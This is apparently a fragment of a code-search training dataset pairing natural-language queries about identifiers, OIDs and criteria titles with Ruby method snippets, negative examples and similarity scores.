0.upto(rule_selectors.size-2).collect do |index|\n \"ID(ro0) = ID(ro#{index+1})\"\n end\n end", "def associated_salesforce_id(instance)\n query = \"#{lookup} = '#{instance.id}'\"\n\n reflection = instance.mapping.database_model.reflect_on_association(name)\n inverse_mapping = mapping_for(reflection)\n\n salesforce_instance = inverse_mapping.salesforce_record_type.first(query)\n salesforce_instance.id if salesforce_instance\n end", "def identifier\n @identifier ||= \"#{self.type_prefix}.#{Model::to_id(name)}\"\n end", "def predicate_key\n cached_fetch(:predicate_key){qualified_primary_key}\n end", "def get_record_identifiers(doc, options)\n doc_name = build_doc_name(doc)\n aug_rec = options['task'].augmented_patients.detect { |r| doc_name == to_doc_name(r[:first][1], r[:last][1]) }\n mrn = @names[doc_name] || aug_rec&.original_patient_id\n [mrn || nil, doc_name, aug_rec, parse_telecoms(doc)]\n end", "def query_id; @seq1.entry_id; end", "def id_number; end", "def query_target_id\n @attributes[:query_target_id]\n end", "def identifier_string\n title\n end", "def identifier_string\n title\n end", "def identifier\n attributes.fetch(:identifier)\n end", "def item_id(input_name:, op:)\n fv = op.input(input_name)\n fv.part.try(:id) || fv.item.id\n end", "def rp_id; end", "def field_ids\n @conditions['field_ids'] || cbobject.basis_fields\n end", "def id()\n #This is a stub, used for indexing\n end", "def get_search_query\n {\n '_id' => \"#{resource[:name]}\"\n }\n end", "def data_criteria\n return nil unless self['hqmf_document'] and self['hqmf_document']['data_criteria']\n self['hqmf_document']['data_criteria'].map { |key, val| { key => val } }\n end", "def data_criteria\n return nil unless self['hqmf_document'] and self['hqmf_document']['data_criteria']\n self['hqmf_document']['data_criteria'].map { |key, val| { key => val } }\n end", "def rule_by_id; end", "def gene_id\n description.andand.match(/ GN=(\\w+) ?/)[1]\n end", "def query_id\n if prefix = entity_namespace.presence\n \"#{prefix}::#{@query_id}\"\n else\n @query_id\n end\n end", "def geoname_id; end", "def geoname_id; end", "def geoname_id; end", "def geoname_id; end", "def identifier\n # todo: needs additional identifier to differentiate between instances of scenarios.\n \"edurange:#{scenario.name}/#{cloud.name}/#{name}\"\n end", "def full_org_id; (term_id && org_id) ? \"#{term_id}_#{org_id}\" : nil; end", "def id\n self[:identifier]\n end", "def associated_salesforce_id(instance)\n reflection = instance.mapping.database_model.reflect_on_association(name)\n inverse_association = association_for(reflection)\n\n salesforce_instance = instance.mapping.salesforce_record_type.find(instance.id)\n salesforce_instance.record[inverse_association.lookup] if salesforce_instance\n end", "def condition_field\n @rule_details.conditions[0].field\n end", "def definition_id\n @attribute.definition_id\n end", "def confly_id\n attributes['id']\n end", "def office_id\n self.dig_for_string(\"agentSummary\", \"office\", \"officeId\")\n end", "def oid\n id(get_oid())\n end" ]
[ "0.60920924", "0.6091506", "0.6059526", "0.59146196", "0.5906911", "0.5861032", "0.5840608", "0.57908136", "0.57642967", "0.5751927", "0.57094", "0.5682323", "0.567403", "0.5669488", "0.56657654", "0.56657654", "0.563467", "0.5611659", "0.5601943", "0.5590149", "0.5579265", "0.55739814", "0.55739814", "0.5569293", "0.55511", "0.5546067", "0.55413103", "0.5518745", "0.5518745", "0.5517768", "0.55093265", "0.55050164", "0.5499614", "0.54973155", "0.5496866", "0.5477849", "0.54720235", "0.54663324", "0.5464291", "0.54617614", "0.54614335", "0.5459138", "0.5448571", "0.5439172", "0.54384685", "0.54371953", "0.54371953", "0.5429275", "0.5426561", "0.54237854", "0.54202974", "0.5387731", "0.5385454", "0.5378938", "0.53755265", "0.53669035", "0.5364418", "0.53638524", "0.5363142", "0.5362788", "0.5357764", "0.5355094", "0.53490543", "0.53435254", "0.53435254", "0.5338935", "0.53384185", "0.53343654", "0.531896", "0.5317116", "0.53135073", "0.53104466", "0.53048855", "0.5301191", "0.5300389", "0.52988976", "0.52988976", "0.52968603", "0.52956104", "0.5281514", "0.527889", "0.5276822", "0.5267863", "0.5265594", "0.5265594", "0.5261125", "0.52576673", "0.52575105", "0.52522737", "0.52522737", "0.52522737", "0.52522737", "0.52471936", "0.524492", "0.5233331", "0.5229513", "0.5226452", "0.52182084", "0.520298", "0.5201875", "0.5197429" ]
0.0
-1
Get the title of the criteria, provides a human readable description
def title @entry.at_xpath('.//cda:title').inner_text end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_title_description()\n\t\tif !self.building_number.nil?\n\t\t\tif self.title.include? self.building_number\n\t\t\t\treturn \"Building \" + self.building_number\n\t\t\telse\n\t\t\t\treturn \"Building \" + self.building_number + \"- \" + self.title\n\t\t\tend\n\t\telse\n\t\t\treturn self.title\n\t\tend\n\tend", "def title\n self.summary\n end", "def title\n if review?\n confidential? ? \"#{name} (Private Review)\" : \"#{name} (Shared Review)\"\n elsif verification?\n \"#{name} (Verification)\"\n elsif groups?\n \"#{name} (Group)\"\n elsif private_type?\n \"#{name} (Private)\"\n elsif government?\n \"#{name} (Government)\"\n else\n \"#{name} (Administrator)\"\n end\n end", "def get_title(n)\n description = Nokogiri::HTML(@description_xpath[n].text).text\n if description.include?(\"IF YOU GO\")\n description = description.split(\"IF YOU GO\")[1]\n if description.include?(\"Where\")\n title = description.split(\"Where\")[0]\n # Title must fit on single line\n title.gsub!(\"\\n\", \" \").strip!\n title\n else\n super(n)\n end\n else\n super(n)\n end\n end", "def title\n @descriptive_detail.title\n end", "def title\n unless @title\n if self.class.validparameter?(name_var)\n @title = self[:name]\n elsif self.class.validproperty?(name_var)\n @title = self.should(name_var)\n else\n self.devfail \"Could not find namevar #{name_var} for #{self.class.name}\"\n end\n end\n\n @title\n end", "def title_name; end", "def titleStatement\n field(\"245\").first\n end", "def title()\n\t\treturn self.title if self.methods.include? :title\n\t\tself.contract_name\n\tend", "def title\n t = nil\n # default to long title\n long_titles = self.courses.map(&:long_title)\n return t if (t = long_titles.find(&:present?)).present?\n\n # then try specific title. then short title\n return self.specific_title if self.specific_title.present?\n\n short_titles = self.courses.map(&:short_title)\n return t if (t = short_titles.find(&:present?)).present?\n\n return '(Title Unavailable)'\n end", "def title\n node = @meta.at_xpath('./a:identification/a:FRBRWork/a:FRBRalias', a: NS)\n node ? node['value'] : \"Act #{num} of #{year}\"\n end", "def display_title\n self.dig_for_string(\"agentSummary\", \"displayTitle\")\n end", "def myp_criteria\n #self.objectives.collect(&:criterion).uniq.collect(&:category).join(\", \")\n criterions.collect(&:category).join(\", \")\n end", "def textual_title\n @record.title\n end", "def title\n values = super\n values = MetadataHelper.ordered( ordered_values: self.title_ordered, values: values )\n return values\n end", "def title\n values = super\n values = MetadataHelper.ordered( ordered_values: self.title_ordered, values: values )\n return values\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n return @title\n end", "def title\n values = super\n values = Deepblue::MetadataHelper.ordered( ordered_values: title_ordered, values: values )\n return values\n end", "def title_comp; end", "def name; title end", "def title\n self.class.title(nil, params)\n end", "def title\n [full_name, lifespan].reject(&:empty?).join(' ')\n end", "def title\n return @options[:title]\n end", "def title\n attributes.fetch(:title)\n end", "def title\n attributes.fetch(:title)\n end", "def title\n @info[:Title]\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def description\n search_by_itemprop 'description'\n end", "def title\n @attributes[:title]\n end", "def title\n @attributes[:title]\n end", "def title\n if @data.attribute_names.include?(:title)\n @title ||= @data[:title].last\n else\n if @data.attribute_names.include?(:cmutitle)\n @title ||= @data[:cmutitle].last\n else\n @title ||= nil\n end\n end\n end", "def get_title()\n @title\n end", "def title_en\n search_by_itemprop 'alternativeHeadline'\n end", "def get_title\n\t\t@fields_hash[FIELDS_MAP[:title]] || \"\"\n\tend", "def title\n return @title\n end", "def get_title\n @title\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif desc.is_reader?(@user) || in_admin_mode?\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def research_centre_title\n if self.research_centre\n return self.research_centre.title\n else\n return \"Undefined\"\n end\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif reader?(desc)\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def title\n @attributes[:title]\n end", "def get_title\n if self.commentable_type.eql?(\"MatterTask\")\n if self.title.eql?(\"MatterTask Client\")\n \"Client message\"\n else\n \"Internal comment\"\n end\n else\n self.title\n end\n end", "def title_brief\n return '' unless @marc_record && @marc_record['245']\n subfieldA = @marc_record['245']['a'] || ''\n title = subfieldA.strip\n # return the cleaned up title\n trim_punctuation(title)\n end", "def get_title()\n return @title\n end", "def title\n \n title = \"Cutlist for: #{@model.title}\"\n \n puts \"[Cutlist.title]: #{title}\" if $cutlister_debug\n \n title\n \n end", "def title\n # Title of the tracker line\n case obj_type\n when \"Post\"\n obj.subject\n when \"Comment\"\n obj.subj\n end\n end", "def extract_title(test_case)\n requirements_tags = all_tags(test_case).select{|tag| tag.name =~ /req_\\w+/}.map{|tag| /req_(\\w+)/.match(tag.name)[1]}.join(', ')\n if test_case.source.last.is_a?(Cucumber::Core::Ast::ExamplesTable::Row)\n title = test_case.source.select{|s| s.is_a?(Cucumber::Core::Ast::ScenarioOutline)}.first.name\n if ENV['OLD_STYLE_OUTLINE_NAMES'] \n title += ' :: ' + test_case.source.last.send(:data).map{|key,value| \"#{key}='#{value}'\"}.join(', ')\n else\n title += \" \" + test_case.source.last.send(:data).map{|key,value| \"#{key}=#{value}\"}.join(', ')\n end\n else\n title = test_case.source.last.name\n end\n [requirements_tags,title].compact.join(' ').strip\n end", "def display_name\n read_attribute(:title).humanize\n end", "def survey_title\n instrument\n end", "def format_title(what,options)\n what\n end", "def page_title\n \"Changes Introduced by CMVC #{type}#{defect_name}\"\n end", "def descr\n return text_get(2, id)\n end", "def title_values\n find_record_values(:dc_title)\n end", "def title\n if title_attribute = read_attribute(:title)\n title_attribute\n elsif self.properties && self.properties['title'].present?\n self.properties['title']\n else\n default_title\n end\n end", "def title(result)\n result.link(Selectors::FAST_SEARCH_MODAL[:result][:title]).text\n end", "def event_title()\t\t\n\t\toption = Proc.new {|o| \"#{\"%.2f\" % o.hours} (#{(o.issue || o.project).event_title})\"}\t\t \n\t\tif option.is_a?(Proc)\n\t\t\toption.call(self)\n\t\tend\n\tend", "def title\n @lastresult[\"context\"][\"title\"]\n end", "def title\n _title = self[\"title\"]\n _title ? _title[\"$t\"] : nil\n end", "def title\n name\n end", "def title\n name\n end", "def\n get_title()\n @title\n end", "def result_for_title\r\n result_for_txt.text\r\n end", "def title_or_description\n return title if config.attribute?(:title)\n\n description if config.attribute?(:description)\n end", "def get_title_for_display\n if title.empty? && workType == 'Letter'\n letter_display_title\n elsif subTitle == nil || subTitle.empty?\n title\n else\n title + \", \" + subTitle\n end\n end", "def title_with_kind\n \"#{title} (#{kind})\"\n end", "def popup_title(record)\n title = case params[:action]\n when \"new\", \"create\"\n \"<u>Nuevo cargo</u>\"\n when \"edit\", \"update\"\n \"Modificar cargo <u>#{record.to_label}</u>\"\n when \"nested\"\n case params[:associations]\n when \"empleados\"\n \"<b>#{record.to_label}</b> -- <u>Listado de empleados</u>\"\n end\n else\n record.to_label\n end\n return title\n end", "def display_name\n return '' unless @research_output.is_a?(ResearchOutput)\n return \"#{@research_output.title[0..49]} ...\" if @research_output.title.length > 50\n\n @research_output.title\n end", "def caption\n grid_options[:title] || options[:resource].pluralize.humanize\n end", "def title\n @title ||= heirarchy.full_name\n end", "def get_title\n @title\n end", "def title\n title = \"#{name}\"\n title << \" #{quarter_offered.title}\" if quarter_offered\n title\n end", "def caption\n \"#{self.programme.description}::#{self.organisation.name}\"\n end", "def title\n @title ||= Utilities.longest_common_substring_in_array(titles.values) \n @title = titles[:og_title] unless title_ok?\n @title = titles[:html_title] unless title_ok?\n @title = titles[:from_doc] unless title_ok?\n\n @title\n end", "def complete_title\n if self.title.present?\n self.title\n else\n I18n.translate(\"bento_search.missing_title\")\n end\n end", "def title\n base_title = \"Design Request Form\"\n if @title.nil? #Could also be spelt as @title == 0\n base_title\n else\n \"#{base_title} | #{@title}\" \n end\n end", "def title \n @attributes[:title]\n end", "def description\n metapage = ::Metapage.find_by(grade_id: nil, subject_id: o.id)\n metapage.description\n end", "def get_display_title(title)\n page_info_get_val(title, 'displaytitle', 'displaytitle')\n end", "def get_title(toy = {})\n\treturn toy['title']\nend", "def display_name\n title.present? && title || _('Untitled')\n end", "def display_name\n titre\n end", "def title\n base_title = \"StkUp - Simple, Purposeful Comparisons\"\n @title.nil? ? base_title : \"#{base_title} | #{@title}\"\n end", "def to_search_string\n\t\tself.title\n\tend", "def title\n base_title = \"S.Hukin ltd - Sheffield, UK. Speciality wholesale foods.\"\n if @title.nil?\n base_title\n else\n \"#{base_title} | #{@title}\"\n end\n end", "def title\n @hash[\"Title\"]\n end", "def title\n raise \"Reports must define a title\"\n end", "def criteria\n\t\tif @criteria.nil?\n\t\t\t[ :score, :buchholz_score, :neustadtl_score, :c_score, :opp_c_score, :wins ]\n\t\telse\n\t\t\t@criteria\n\t\tend\n\tend", "def title\n [id, name].join(' ')\n end", "def accurate_title\n nil\n end", "def get_description(room)\n lo = room.learning_objects.shuffle.first\n description = \"Zastúpené témy: \"\n list = Array.new\n\n list = lo.concepts.take(Room::NUMBER_OF_CONCEPTS_IN_DESCRIPTION).map(&:name)\n\n \"#{list.join(\", \")}.\"\n end", "def description\n \"Whois lookup\"\nend", "def search_title_builder\n\t\tif search_params_present?\n\t\t\ttitle = \"Searching Flights\"\n\t\t\ttitle += \" Departing #{ @airport_options[params[:origin].to_i - 1][0] }\" if params[:origin].present?\n\t\t\tif params[:destination].present?\n\t\t\t\tif params[:origin].present?\n\t\t\t\t\ttitle += \" for \"\n\t\t\t\telse\n\t\t\t\t\ttitle += \" to \"\n\t\t\t\tend\n\t\t\t\ttitle += \"#{ @airport_options[params[:destination].to_i - 1][0] }\"\n\t\t\tend\n\t\t\ttitle += \" on #{ params[:departure] }\" if params[:departure].present?\n\t\t\ttitle += \" for #{ params[:passengers] }\" if params[:passengers].present?\n\t\t\treturn title\n\t\telse\n\t\t\ttitle = \"Search Flights\"\n\t\tend\n\tend", "def title\r\n @attributes['title']\r\n end", "def the_title\n if object.is_group_conversation?\n object.group_title\n else\n other_participant.try(:full_name, false, :now) || \"Anonymous\"\n end\n end" ]
[ "0.67994153", "0.6794488", "0.66137445", "0.6604283", "0.64589506", "0.6374694", "0.6329028", "0.62590224", "0.61775875", "0.61597127", "0.6153423", "0.6152271", "0.61486703", "0.61259705", "0.6124067", "0.6124067", "0.6116671", "0.6116671", "0.6116671", "0.6116671", "0.6116671", "0.6116671", "0.6116671", "0.6105881", "0.60977626", "0.60806453", "0.60760444", "0.60758257", "0.60756403", "0.60737884", "0.60737884", "0.6066387", "0.60636926", "0.60636926", "0.60636926", "0.6058053", "0.60547155", "0.60547155", "0.60474163", "0.6036629", "0.6036297", "0.6030964", "0.6030554", "0.60283357", "0.6022491", "0.6014202", "0.60072833", "0.6007208", "0.60041016", "0.6003241", "0.6002949", "0.6001207", "0.6000816", "0.5991411", "0.5988824", "0.59881186", "0.59795064", "0.5976459", "0.59695303", "0.5963745", "0.5959887", "0.59496564", "0.5947349", "0.59464955", "0.5943454", "0.59390557", "0.59390557", "0.5933861", "0.5933841", "0.5932519", "0.5931161", "0.59301525", "0.59242034", "0.59203255", "0.5913748", "0.591013", "0.59072715", "0.5903119", "0.58960164", "0.5887173", "0.588633", "0.5883146", "0.5881971", "0.58765423", "0.5874691", "0.5870417", "0.5868587", "0.586553", "0.5865119", "0.586025", "0.5857948", "0.5856796", "0.5852711", "0.5848923", "0.5848705", "0.58463025", "0.5845718", "0.584565", "0.58440197", "0.5834513", "0.583128" ]
0.0
-1
Get the code list OID of the criteria, used as an index to the code list database
def code_list_id attr_val(@code_list_xpath) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_code_list_id_for_element(data_criteria, record)\n source_data_criteria = record.source_data_criteria if record.respond_to?('source_data_criteria')\n if source_data_criteria\n data_criteria_source = source_data_criteria.select { |sdc| sdc['description'] == data_criteria['description'] }\n\n # Edge case where there are multiple source data criteria but they have different code_list_ids\n # Select the correct code_list_id based on the codes that are used\n if data_criteria_source.length > 1\n data_criteria_source.each do |sdc|\n data_criteria['dataElementCodes'].each do |code|\n data_criteria_source = sdc['code_list_id'] if sdc['codes'].value?([code['code']])\n end\n end\n elsif data_criteria_source\n data_criteria_source = data_criteria_source[0]['code_list_id']\n end\n end\n data_criteria_source || nil\n end", "def code_list_id\n @entry.at_xpath(@code_list_xpath).value\n end", "def identifier_code\n 'ICN'\n end", "def odk_code\n \"q#{id}\"\n end", "def odk_code\n \"q#{id}\"\n end", "def code_to_key\n @code[0..2]\n end", "def codes\n @codes ||= []\n end", "def list_referral_code_key(code)\n \"offers:list:referral:code:#{code}\"\n end", "def repository_code(marc)\n canonical_values = REPOS.keys\n sf = marc['040'].subfields.detect {|s| s.code == 'a' }\n return nil unless sf\n sf = sf.value.downcase\n return sf if canonical_values.include?(sf)\n # TODO identify variants used in the legacy script\n return 'nnc-a' if sf.eql?('nnc-av')\n if sf.eql?('zcu')\n # OCLC identifer for CUL, look in holdings sublocation\n return 'nnc-a' if marc['852'] && (marc['852']['b'].to_s.downcase == 'avr')\n end\n if marc['996']\n name = marc['996']['a']\n code, attrs = REPOS.detect {|code, attrs| attrs['name'] == name }\n return code\n end\n end", "def code_person_key(code)\n \"offers:code:person:#{code}\"\n end", "def get_list_referral_code(code)\n m = @redis.smembers list_referral_code_key(code)\n if m\n m.collect! do |id|\n id = id.to_i\n end\n end\n m\n end", "def _voyager_lookup code\n\n metadata = {}\n\n voyager = OCI8.new($config['voyager']['user'], $config['voyager']['pass'], $config['voyager']['host'])\n\n # Do the main Voyager query to get bibid from barcode\n voyager.exec(\"select bt.* from item_barcode ib, bib_item bi, bib_text bt where ib.item_barcode='#{code}' and ib.item_id=bi.item_id and bi.bib_id = bt.bib_id\") do |result|\n metadata[:bibid] = result[0]\n metadata[:author] = result[1]\n metadata[:title] = result[3]\n end\n\n # Do a secondary query to collect oclc number\n index_fields = voyager.exec(\"select normal_heading from bib_index where bib_id='#{metadata[:bibid]}' and index_code='0350'\")\n while field = index_fields.fetch\n if result = /.*OCOLC\\D*(\\d+)/i.match(field[0])\n metadata[:oclc_id] = result.captures[0]\n end\n end\n\n return metadata\n\nend", "def genetic_code_table; 11; end", "def generate_callout_id(list_index, co_index)\n \"CO#{list_index}-#{co_index}\"\n end", "def identifier_type\n {\n coding: [{\n system: CODING_SYSTEM,\n code: IDENTIFIER_CODE,\n userSelected: false\n }]\n }\n end", "def id\n code\n end", "def sort_code\n @sort_code ||= %w(issue_id project_id user_id user_type).map{ |a| self[a].present? ? 1 : 0 }.join\n end", "def es_code\n id.to_s\n end", "def get_eob_slno_for_reason_codes(reason_code_id)\r\n eob_slno_for_secondary_reason_codes = []\r\n eob_slno_for_primary_reason_codes = []\r\n eob_slno_for_primary_and_secondary_reason_codes = []\r\n \r\n insurance_payment_eobs = check_information.eobs\r\n insurance_payment_eobs.each_with_index do |insurance_payment_eob, index|\r\n primary_reason_code_ids = []\r\n if insurance_payment_eob.category == \"claim\"\r\n primary_reason_code_ids = insurance_payment_eob.get_primary_reason_code_ids_of_eob\r\n if (!primary_reason_code_ids.blank? && primary_reason_code_ids.include?(reason_code_id.to_i))\r\n eob_slno_for_primary_reason_codes << index + 1\r\n elsif $IS_PARTNER_BAC\r\n insurance_payment_eobs_reason_codes = InsurancePaymentEobsReasonCode.find_by_reason_code_id_and_insurance_payment_eob_id(reason_code_id, insurance_payment_eob.id)\r\n eob_slno_for_secondary_reason_codes << index + 1 unless insurance_payment_eobs_reason_codes.blank?\r\n end\r\n else\r\n service_payment_eobs = insurance_payment_eob.service_payment_eobs\r\n unless service_payment_eobs.blank?\r\n service_payment_eobs.each do |service_payment_eob|\r\n primary_reason_code_ids = service_payment_eob.get_primary_reason_code_ids_of_svc\r\n if (!primary_reason_code_ids.blank? && primary_reason_code_ids.include?(reason_code_id.to_i))\r\n eob_slno_for_primary_reason_codes << index + 1\r\n elsif $IS_PARTNER_BAC\r\n service_payment_eobs_reason_codes = ServicePaymentEobsReasonCode.find_by_reason_code_id_and_service_payment_eob_id(reason_code_id, service_payment_eob.id)\r\n eob_slno_for_secondary_reason_codes << index + 1 unless service_payment_eobs_reason_codes.blank?\r\n end\r\n end\r\n end\r\n end \r\n end\r\n \r\n eob_slno_for_primary_and_secondary_reason_codes = eob_slno_for_primary_reason_codes + eob_slno_for_secondary_reason_codes\r\n return eob_slno_for_primary_and_secondary_reason_codes.uniq\r\n end", "def person_code_key(person_id)\n \"offers:person:code:#{person_id}\"\n end", "def listId_Handler(type, listI)\n\n if !($symTable.contains(listI.var))\n\t\t$symTable.insert(listI.var, [type, nil])\n\t\tif (listI.list_id != nil) # Cambie .listI por .list_id\n\t\t\treturn listId_Handler(type, listI.list_id) # Cambie .listI por .list_id\n\t\tend\n\t\treturn 0\n\telse\n\t\tputs \"ERROR: variable '#{listI.var}' was declared before\" \\\n\t\t\t\t\" at the same scope.\"\n\t\tif (listI.list_id != nil) # Cambie .listI por .list_id\n\t\t\treturn listId_Handler(type, listI.list_id) + 1 # Cambie .listI por .list_id\n\t\tend\n\t\treturn 1\n\tend\nend", "def code\n @company_codes = CompanyCode.all\n @company_codes.each do |c|\n c.search_text = c.code.gsub(/[-]/, \"\").downcase + ChineseConverter.simplized(c.locate+c.name+c.memo.to_s)\n end\n end", "def code\n @code ||= @codes.first\n end", "def codes\n @codes ||= Set.new(table.keys)\n end", "def codes; end", "def sic_code\n fetch('company.sic_code')\n end", "def code\r\n return @code[@index]\r\n end", "def op_code\n 2004\n end", "def getCode()\n return @code\n end", "def authidcode\n\t\t \tparams['authIdCode']\n\t\t end", "def bulk_oclc_query(oclc_nos)\n string = \"srw.no any \\\"#{oclc_nos.first}\\\"\"\n oclc_nos[1..-1].each do |num|\n string << \" or srw.no any \\\"#{num}\\\"\"\n end\n string\nend", "def geoid_models(authority, code)\r\n ptr = Api.proj_get_geoid_models_from_database(self.context, authority, code, nil)\r\n Strings.new(ptr)\r\n end", "def listed_company_registration_number; end", "def client_code(crosswalk_record)\n rcc_log.debug \"Obtaining CLIENT CODE.\"\n if crosswalk_record && crosswalk_record.crosswalk_record_id.present?\n crosswalk_record = ReasonCodesClientsFacilitiesSetName.find(crosswalk_record.crosswalk_record_id)\n if crosswalk_record.present?\n client_code_association_records = crosswalk_record.reason_codes_clients_facilities_set_names_client_codes.\n select{|rcfsc| rcfsc.category != 'DENIED' or rcfsc.category == nil}\n client_code_record = client_code_association_records.first.client_code if client_code_association_records.present?\n if client_code_record.present?\n client_code = client_code_record.adjustment_code\n rcc_log.debug \"CLIENT CODE : #{client_code}, having ID : #{client_code_record.id}\"\n end\n end\n end\n client_code.to_s.upcase\n end", "def get_opcode_and_params(code)\n param_modes = Array.new(3, 0)\n instruc_digits = code.digits\n if instruc_digits.length > 2\n opcode = instruc_digits[0]\n # contains parameters modes\n instruc_digits[2..-1].each_with_index do |val, i|\n param_modes[i] = val\n end\n else\n opcode = code\n end\n\n [opcode, param_modes]\nend", "def getoutletcode\r\n @outletcode\r\n end", "def codes(auth_name, pj_type, allow_deprecated = false)\r\n ptr = Api.proj_get_codes_from_database(self.context, auth_name, pj_type, allow_deprecated ? 1 : 0)\r\n Strings.new(ptr)\r\n end", "def south_african_listed_company_registration_number; end", "def rights_statement\n authority = Qa::Authorities::Local.subauthority_for('rights_statements')\n rights_statement = map_field(:rights_statement).to_a.map do |label|\n label = { 'pd' => 'public domain' }[label] || label # these values need to be mapped\n term = authority.all.find { |h| h[:label] == label }\n term.blank? ? label : term[:id]\n end\n rights_statement << authority.all.find { |h| h[:label] == 'unknown' }[:id] if rights_statement.empty?\n rights_statement\n end", "def item_code( seqno )\n \"#{ code }-#{ seqno ? seqno : '?' }\"\n end", "def ndp_code; self[:ndp_code].to_i; end", "def lookup_code_string\r\n \"@lookup_codes = #{lookup_codes.to_s}\"\r\n end", "def find_counts(code)\n find_by_code(code).map { |row| row[1] }.sort.reverse\n end", "def argot_rollup_id(spec)\n lambda do |rec, acc|\n extractor = MarcExtractor.cached(spec, separator: nil)\n oclc_num = extractor.extract(rec).collect! do |o|\n Marc21Semantics.oclcnum_extract(o)\n end.compact\n acc << \"OCLC#{oclc_num.first}\"\n end\n end", "def index\n @codeable = get_codeable\n @codes = @codeable.codes\n end", "def list_pc_codes\n\treturn if authorise_for_web(program_name?,'read_pc_code') == false \n\n \tif params[:page]!= nil \n\n \t\tsession[:pc_codes_page] = params['page']\n\n\t\t render_list_pc_codes\n\n\t\t return \n\telse\n\t\tsession[:pc_codes_page] = nil\n\tend\n\n\tlist_query = \"@pc_code_pages = Paginator.new self, PcCode.count, @@page_size,@current_page\n\t @pc_codes = PcCode.find(:all,\n\t\t\t\t :limit => @pc_code_pages.items_per_page,\n\t\t\t\t :offset => @pc_code_pages.current.offset)\"\n\tsession[:query] = list_query\n\trender_list_pc_codes\nend", "def code\n @data['code']\n end", "def code\n @data['code']\n end", "def cached_ref_data_codes\n { applicant_type: comp_key('APPLICANT-TYPE', 'SLFT', 'RSTU'),\n application_type: comp_key('APPLICATION', 'SLFT', 'RSTU'),\n supporting_document_list: comp_key(\"DOCUMENTS-#{application_type}\", 'SLFT', 'RSTU'),\n renewal_or_review: comp_key('RENEWALORREVIEW', 'SYS', 'RSTU'),\n why_water_present: comp_key('WHY-WATER', 'SLFT', 'RSTU') }\n end", "def code\n @data['code']\n end", "def code\n @attributes[:code]\n end", "def code\n @attributes[:code]\n end", "def code\n @attributes[:code]\n end", "def code\n @attributes[:code]\n end", "def op_code\n 2002\n end", "def list_id\n raise 'answer a unique, never changing value'\n end", "def cached_ref_data_codes\n { user_roles: comp_key('PORTALROLES', 'SYS', 'RSTU'), user_is_current: comp_key('CURRENT_INACTIVE', 'SYS', 'RSTU') }\n end", "def code_list(list)\n\t\tlist.map{ |element| element.code }.join(', ')\n\tend", "def code_list(list)\n\t\tlist.map{ |element| element.code }.join(', ')\n\tend", "def code(a_code)\n\t\ta_code\n\tend", "def cached_ref_data_codes\n { lau_code: comp_key('LAU', 'SYS', 'RSTU'), title_code: comp_key('PROPERTYTITLEPREFIX', 'SYS', 'RSTU'),\n parent_title_code: comp_key('PROPERTYTITLEPREFIX', 'SYS', 'RSTU') }\n end", "def cached_ref_data_codes\n { taxes: comp_key('PORTALSERVICES', 'SYS', 'RSTU'), party_account_type: comp_key('PARTY_ACT_TYPES', 'SYS', 'RSTU') }\n end", "def argot_oclc_number(config)\n lambda do |rec, acc|\n st = {}\n config.each do |key, spec|\n extractor = MarcExtractor.cached(spec, separator: nil)\n oclc_num = extractor.extract(rec).collect! do |o|\n Marc21Semantics.oclcnum_extract(o)\n end.compact\n\n oclc_num = oclc_num.uniq\n\n if key == 'value'\n st[key] = oclc_num.first if oclc_num\n else\n st[key] = oclc_num unless oclc_num.empty?\n end\n end\n val = st['value']\n\n acc << st unless val.nil? || val.empty?\n end\n end", "def to_find_id_str\n raise NotImplementedException\n end", "def code\n @code ||= (read_attribute(:code) || (member.id * Time.now.to_i).to_s(36))\n end", "def ndp_code=(i); typecast i; end", "def get_person_with_code(code)\n id = @redis.get code_person_key(code)\n if id\n id = id.to_i\n end\n id\n end", "def get_oid(name, id)\n OIDPrefix + '.' + OIDMap[name].to_s + \".#{id}\"\n end", "def item_codes\n @stock.values.map(&:code)\n end", "def build_indexes\n Patient.column_names.select { |col| col != 'id' }.each do |col|\n @indexes[ col.to_sym ] = []\n end\n\n Patient.find( :all ).each do |patient|\n Patient.column_names.select { |col| col != 'id' }.each do |col|\n @indexes[ col.to_sym ] << [ patient.send( col ).to_s.strip.hash, patient.id ] unless\n ( (! EXCLUSIONS[ col ].nil?) and EXCLUSIONS[ col ].include? patient.send( col ).to_s.strip )\n end\n end\n\n @indexes.each_value { |value| value.sort! { |a,b| a[0] <=> b[0] } }\n end", "def value_to_ident(value)\n return nil if value.nil?\n if value.nil?\n return nil\n elsif value.kind_of?(Fixnum)\n the_id = value\n elsif value.respond_to?(:id)\n the_id = value.id\n else\n Kernel.raise \"Cannot search for invalid value #{value.inspect}\"\n end\n return index(the_id)\n end", "def oid\n id(get_oid())\n end", "def list_id_from_column(column)\n Field.where(name: column).first.settings[:list_id]\n end", "def name2oid(name)\n\t\toid = @manager.mib.oid(name)\n\t\tt = [['OID', 'Symbolic Name'], [\"#{oid}\", \"#{name}\"]]\n\t\ttable = t.to_table(:first_row_is_head => true)\n\t\tputs table.to_s\n\tend", "def g_ind\n #p '###########################'\n unless self.ent_industry_code.blank?\n ids = self.ent_industry_code.split(',')\n self.industries.clear\n ids.each do |i|\n self.industries.create(:ent_id => self.id, :industry_id => i, :seq => ids.index(i)+1)\n end\n end\n #p self.industries\n #p '##########################'\n end", "def iata_code\n @iata_code\n end", "def loser_code()\n \"L\"+self.id.to_s\n end", "def bookcover_oclc(document)\n if document['oclc_id_display'].nil?\n oclc_id = ''\n else\n oclc_id = document['oclc_id_display'][0]\n end\n return oclc_id\n end", "def business_code\n self.columns.map { |c| c.name }.delete_if { |n| !n.match(/.*_code/) }.to_s\n end", "def index\n @n_codes = NCode.all\n end", "def populate_codesystem_oid(entry)\n if entry.nil? || 